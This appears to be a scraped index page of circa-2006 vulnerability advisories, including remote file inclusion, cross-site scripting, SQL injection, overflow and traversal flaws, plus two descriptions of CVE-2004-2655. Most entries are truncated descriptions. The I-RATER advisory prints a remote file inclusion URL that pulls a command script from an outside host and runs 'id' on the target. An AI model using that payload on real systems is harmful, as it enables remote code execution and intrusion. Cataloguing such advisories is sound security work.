DMCounter 0.9.2 -b - Kopf.php Remote File Inclusion

DMCounter 0.9.2 -b - Kopf.php Remote File Inclusion source: https://www.securityfocus.com/bid/17756/info DMCounter is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to...

Collaborative Portal Server 3.4 - 'POS' Cross-Site Scripting

source: https://www.securityfocus.com/bid/17774/info Collaborative Portal Server is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed...

[Kurdish Secure Advisory #1] I-RATER Platinum "Admin/configsettings.tpl.php" Remote File Include Vulnerability

Website : http://www.i-rater.com Risk : High Class : Remote References : http://www.securityfocus.com/bid/17623 Credits : B3g0k,Nistiman,Flot,Netqurd and all my friend Remote Code : http://www.site.com/admin/configsettings.tpl.php?includepath=http://www.evilrox.com/cmd.txt?&cmd=id...

Blog 0.2.3/0.2.4 Mod - 'Weblog_posting.php' SQL Injection

source: https://www.securityfocus.com/bid/17744/info Blog Mod is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the...

LibTiff 3.x - TIFFFetchData Integer Overflow

LibTiff 3.x - TIFFFetchData Integer Overflow source: https://www.securityfocus.com/bid/17732/info Applications using the LibTIFF library are prone to an integer-overflow vulnerability. An attacker could exploit this vulnerability to execute arbitrary code in the context of the vulnerable...

Artmedic Event - 'index.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/17736/info Artmedic Event is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing...

magiciso 5.0 build 0166 - Directory Traversal

magiciso 5.0 build 0166 - Directory Traversal source: https://www.securityfocus.com/bid/17725/info Reportedly, an attacker can carry out attacks using directory-traversal strings. These issues occur when the application processes malicious archives. A successful attack can allow the attacker to...

Farsinews 2.5.3 - Multiple Cross-Site Scripting Vulnerabilities

Farsinews 2.5.3 - Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/17701/info FarsiNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. An attacker may...

Fenice OMS 1.10 (long get request) Remote Buffer Overflow Exploit

No description provided by source. / IHS Iran Homeland Security public source code Fenice - Open Media Streaming Server remote BOF exploit author : c0d3r "kaveh razavi" [email protected] package : fenice-1.10.tar.gz and prolly prior versions workaround : update after patch release advisory :...

Instant Photo Gallery 1.0 - 'portfolio_photo_popup.php?id' Cross-Site Scripting

source: https://www.securityfocus.com/bid/17696/info Instant Photo Gallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code...

PhotoKorn 1.531.54 - index.php Multiple SQL Injections

PhotoKorn 1.531.54 - index.php Multiple SQL Injections source: https://www.securityfocus.com/bid/17683/info Photokorn is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit cou...

SAXoPRESS pbcs.dll url Parameter Traversal Arbitrary File Access

The remote host is running SAXoPRESS or Publicus, web content management systems commonly used by newspapers. The installation of SAXoPRESS / Publicus on the remote host fails to validate user input to the 'url' parameter of the 'apps/pbcs.dll' script. An attacker can exploit this issue to access...

Opera < 8.54 Multiple Vulnerabilities

The remote host is using Opera, an alternative web browser. The version of Opera installed on the remote host contains a buffer overflow that can be triggered by a long value within a stylesheet attribute. Successful exploitation can lead to a browser crash and possibly allow for the execution of...

Papoo 2.1.x - 'print.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/17530/info Papoo is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context o...

AR-Blog 5.2 - print.php Cross-Site Scripting

AR-Blog 5.2 - print.php Cross-Site Scripting source: https://www.securityfocus.com/bid/17522/info The ar-blog application is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code...

Dokeos 1.x - 'viewtopic.php' SQL Injection

source: https://www.securityfocus.com/bid/17463/info Dokeos is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the...

Shadowed Portal 5.7 - 'Load.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/17430/info Shadowed Portal is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the...

ShopWeezle 2.0 - memo.php?itemID SQL Injection

ShopWeezle 2.0 - memo.php?itemID SQL Injection source: https://www.securityfocus.com/bid/17441/info ShopWeezle is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A...

CVE-2004-2655

The CVE-2004-2655 issue affects XScreenSaver (xscreensaver) components used with rdesktop 1.3.1 and Fedora-era setups. The root cause is a keyboard focus flaw: XScreenSaver prompt for password did not reliably ensure keyboard focus, potentially leaking the user’s password to the focused program w...

CVE-2004-2655

rdesktop 1.3.1 with xscreensaver 4.14, and possibly other versions, when running on Fedora and possibly other platforms, does not release the keyboard focus when xscreensaver starts, which causes the password to be entered into the active window when the user unlocks the screen...